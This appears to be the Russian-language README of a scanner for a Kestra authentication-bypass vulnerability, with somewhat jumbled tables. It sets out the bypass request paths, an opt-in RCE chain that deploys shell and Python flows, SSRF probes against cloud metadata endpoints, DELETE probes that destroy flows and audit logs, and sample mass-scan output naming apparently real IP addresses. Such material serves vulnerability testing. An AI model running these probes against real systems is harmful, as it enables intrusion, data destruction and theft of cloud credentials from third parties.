
Kestra Auth-Bypass Vulnerability Checker
Сканирует экземпляры Kestra на предмет обхода аутентификационного фильтра через endsWith("/configs"). Файл AuthenticationFilter.java в Kestra проверяет request.getPath().endsWith("/configs") вместо точного совпадения пути /api/v1/configs. Поскольку Kestra адресует ресурсы через выбранные вызывающим сегменты пути (пространство имён, ID потока), любой путь, оканчивающийся на /configs, обходит базовую аутентификацию, позволяя неаутентифицированное создание потоков и RCE. (CVSS 10.0)
Ссылки:
GET /api/v1/configs (должен вернуть 200; тело ответа анализируется для получения версии Kestra)GET /api/v1/{tenant}/flows (должен вернуть 401/403, если аутентификация включена)/configs; если любой возвращает не 401/403 при активной аутентификации, экземпляр уязвим--aggressive) также отправляет PUT-запросы для подтверждения возможности записи в обход аутентификации--rce) полная цепочка: создание shell/python потока → запуск выполнения → получение логов → подтверждение выполнения кода → очистка--ssrf) создаёт поток с Pebble http(), нацеленный на метаданные AWS/GCP/Azure и внутренние конечные точки, затем проверяет логи на наличие свидетельств--destructive) отправляет DELETE на пути потоков, панелей мониторинга и логов для подтверждения обхода деструктивных операций--aggressive)| Проба | Метод | Путь | Описание |
|---|---|---|---|
| PUT-обход потоков | PUT | такой же, как у обхода потоков | Создаёт минимальный поток |
--destructive)--rce)Запускается только при подтверждении обхода аутентификации. Полная цепочка из бюллетеня:
--ssrf)Запускается только при подтверждении обхода аутентификации:
positional:
target URL одной цели (например, http://localhost:8080)
options:
-f, --file Файл с целями (по одной на строку)
-t, --timeout Тайм-аут запроса в секундах (по умолчанию: 10)
--verify-ssl Проверять TLS-сертификаты
-j, --json Вывод JSON в stdout
-o, --output Записать JSON-отчёт в файл
--tenant Имя арендатора (по умолчанию: "main")
--namespace Пространство имён для путей обхода (по умолчанию: "tutorial")
-w, --workers Количество потоков для массового сканирования (по умолчанию: 10)
-a, --aggressive Отправлять PUT-запросы для подтверждения обхода записи
-P, --auto-ports Порты для автоматического расширения (по умолчанию: 8080 8081 8088 8091 80 443)
advanced probes:
-r, --rce Включить цепочку проверки RCE (shell + python поток,
запуск выполнения, получение логов, автоочистка)
-s, --ssrf Включить обнаружение SSRF (Pebble http() к конечным точкам
облачных метаданных, сбор свидетельств на основе логов)
-d, --destructive Включить DELETE-пробы на потоки, панели мониторинга и логи
(УДАЛИТ ресурсы на уязвимых экземплярах)
--poll-interval Секунды между опросами логов для цепочек RCE/SSRF (по умолчанию: 3)
--poll-retries Максимальное количество попыток опроса логов для цепочек RCE/SSRF (по умолчанию: 10)
Полная детализация по каждой пробе с дополнениями (версия, RCE, SSRF, статус DELETE) и вердикт:
====================================================================
Цель: http://10.0.0.1:8080
Время: 2026-06-30T12:00:00+00:00
====================================================================
Версия: 1.3.20 (ЗАТРОНУТ)
RCE: ПОДТВЕРЖДЁН через shell
| SCAN_RCE_a1b2c3d4e5f6
| uid=0(root) gid=0(root) groups=0(root)
SSRF: ОБНАРУЖЕН
| Найдены индикаторы: ami-, 169.254.169.254, 127.0.0.1:8080
DELETE-ОБХОД: ПОДТВЕРЖДЁН обход аутентификации для деструктивных операций
[Обход потоков]
URL: http://10.0.0.1:8080/api/v1/main/flows/tutorial/configs
Статус: 200
Обход: ДА
[Обход выполнений]
URL: http://10.0.0.1:8080/api/v1/main/executions/tutorial/configs
Статус: 404
Обход: НЕТ
...
── Цепочка проверки RCE ──
Создание потока: 201
Запуск выполнения: 201
Свидетельства в логах: 200
> SCAN_RCE_a1b2c3d4e5f6
> uid=0(root) gid=0(root) groups=0(root)
Очистка потока: 204
── Цепочка обнаружения SSRF ──
Создание потока: 201
Запуск выполнения: 201
Свидетельства: 200
Найдены индикаторы: ami-, 169.254.169.254, 127.0.0.1:8080
Очистка потока: 204
[УЯЗВ] Вердикт: УЯЗВИМ ...
====================================================================
Отсортированная таблица с колонками флагов RCE/SSRF/DEL:
========================================================================================================================================
СВОДКА МАССОВОГО СКАНИРОВАНИЯ GHSA-5vc5-wxxq-3fjx | CVE-2026-49869 / CVE-2026-53576
========================================================================================================================================
# Цель Аут Пот Вып KV Пане Логи Шабл RCE SSRF DEL Верд.
---------------------------------------------------------------------------------------------------------------------------------------
1 http://173.249.1.26:8080 401 404 ERR ERR ERR 405 404 ДА ДА ДА RCE!
2 http://207.180.207.199:8080 401 404 ERR ERR ERR 405 404 НЕОП - ДА УЯЗВ
...
30 http://103.115.65.228:8080 401 401 ERR 401 ERR 401 401 - - - БЕЗОП
...
========================================================================================================================================
Всего: 258 | Уязвимых: 5 | RCE подтверждено: 1 | SSRF обнаружено: 1 | DELETE-обход: 2 | Безопасных: 29 | Неопределённых: 224
========================================================================================================================================
Коды выхода: 0 = уязвимостей нет, 1 = уязвимость найдена, 2 = все неопределённые.
При использовании -j или -o вывод включает поля дополнения для каждой цели:
{
"scan_info": {
"scanner": "kestra_cve v2.0.0",
"cve": ["CVE-2026-49869", "CVE-2026-53576"],
"aggressive": true,
"rce": true,
"ssrf": true,
"destructive": true
},
"results": [
{
"target": "http://10.0.0.1:8080",
"vulnerable": true,
"version": "1.3.20",
"version_in_affected_range": true,
"rce_confirmed": true,
"rce_method": "shell",
"rce_evidence": "SCAN_RCE_a1b2c3d4e5f6\nuid=0(root)",
"ssrf_detected": true,
"ssrf_evidence": "Indicators found: ami-, 169.254.169.254, 127.0.0.1:8080",
"delete_bypass": true,
"probes": { "..." : "..." }
}
],
"summary": {
"total": 258,
"vulnerable": 5,
"rce_confirmed": 1,
"ssrf_detected": 1,
"delete_bypass": 2,
"safe": 29,
"inconclusive": 224
}
}
Сканер автоматически извлекает версию Kestra из ответа GET /api/v1/configs и классифицирует её:
Используется сравнение с учётом веток, поскольку Kestra поддерживает отдельные ветки исправлений (1.0.x и 1.3.x).
Требуется Python 3.10+.
pip install -r requirements.txt
python main.py --help
Только для авторизованного защитного тестирования. Флаги --rce и --destructive создают и выполняют реальные ресурсы на цели. Всегда получайте соответствующее письменное разрешение перед сканированием систем, которые вам не принадлежат.
| Проба | Метод | Путь | Описание |
|---|
| Публичные конфиги | GET | /api/v1/configs | Проверка работоспособности + извлечение версии |
| Защищённый нормальный | GET | /api/v1/{tenant}/flows | Базовый уровень проверки аутентификации |
| Обход потоков | GET | /api/v1/{tenant}/flows/{namespace}/configs | Обход получения списка потоков |
| Обход выполнений | GET | /api/v1/{tenant}/executions/{namespace}/configs | Обход выполнения |
| Обход KV-хранилища | GET | /api/v1/{tenant}/namespaces/{namespace}/kv/configs | Обход чтения KV |
| Обход панелей мониторинга | GET | /api/v1/{tenant}/dashboards/configs | Обход панелей мониторинга |
| Обход логов | GET | /api/v1/{tenant}/logs/{namespace}/configs | Обход доступа к логам |
| Обход шаблонов | GET | /api/v1/{tenant}/templates/{namespace}/configs | Обход чтения шаблонов |
debug.Return| PUT-обход KV | PUT | такой же, как у обхода KV | Создаёт запись KV {"scanned": true} |
| Проба | Метод | Путь | Описание |
|---|
| DELETE-обход потоков | DELETE | такой же, как у обхода потоков | Удаляет ресурс с именем "configs" |
| DELETE-обход панелей мониторинга | DELETE | такой же, как у обхода панелей мониторинга | Удаляет панель мониторинга с именем "configs" |
| DELETE-обход логов | DELETE | такой же, как у обхода логов | Уничтожает журналы аудита |
| Шаг | Метод | Путь | Описание |
|---|
| 1. Создать RCE поток | PUT | /api/v1/{tenant}/flows/{namespace}/configs | Развёртывает поток с io.kestra.plugin.scripts.shell.Commands (echo <marker>, id, hostname). При неудаче использует io.kestra.plugin.scripts.python.Script. |
| 2. Запустить выполнение | POST | /api/v1/{tenant}/executions/{namespace}/configs | Запускает поток через путь обхода |
| 3. Опрашивать логи | GET | /api/v1/{tenant}/logs/search?executionId=<id> | Опрашивает до --poll-retries раз (по умолчанию 10) каждые --poll-interval секунд (по умолчанию 3) в поисках уникального маркера RCE |
| 4. Очистка | DELETE | такой же, как шаг 1 | Удаляет развёрнутый поток |
| Шаг | Метод | Путь | Описание |
|---|
| 1. Создать SSRF поток | PUT | /api/v1/{tenant}/flows/{namespace}/configs | Развёртывает задачу debug.Return с вызовами Pebble http() к AWS (169.254.169.254/latest/meta-data/ami-id), GCP (metadata.google.internal), Azure (169.254.169.254/metadata/instance) и внутренним ресурсам (127.0.0.1:8080/api/v1/configs) |
| 2. Запустить выполнение | POST | такой же, как шаг 2 RCE | Запускает поток |
| 3. Опрашивать логи | GET | /api/v1/{tenant}/logs/search?executionId=<id> | Проверяет на наличие индикаторов облачных метаданных (ami-, i-, 169.254.169.254, metadata.google.internal и т. д.) |
| 4. Очистка | DELETE | такой же, как шаг 1 | Удаляет развёрнутый поток |
| Версия | Классификация |
|---|
<= 1.0.44 | ЗАТРОНУТА (ветка 1.0, до исправления) |
>= 1.0.45 | Исправлена (ветка 1.0) |
1.3.0 1.3.20 | ЗАТРОНУТА (ветка 1.3, до исправления) |
>= 1.3.21 | Исправлена (ветка 1.3) |
>= 1.4.0 | Исправлена (новее затрагиваемого диапазона) |
| Неизвестно | Версия не найдена в ответе |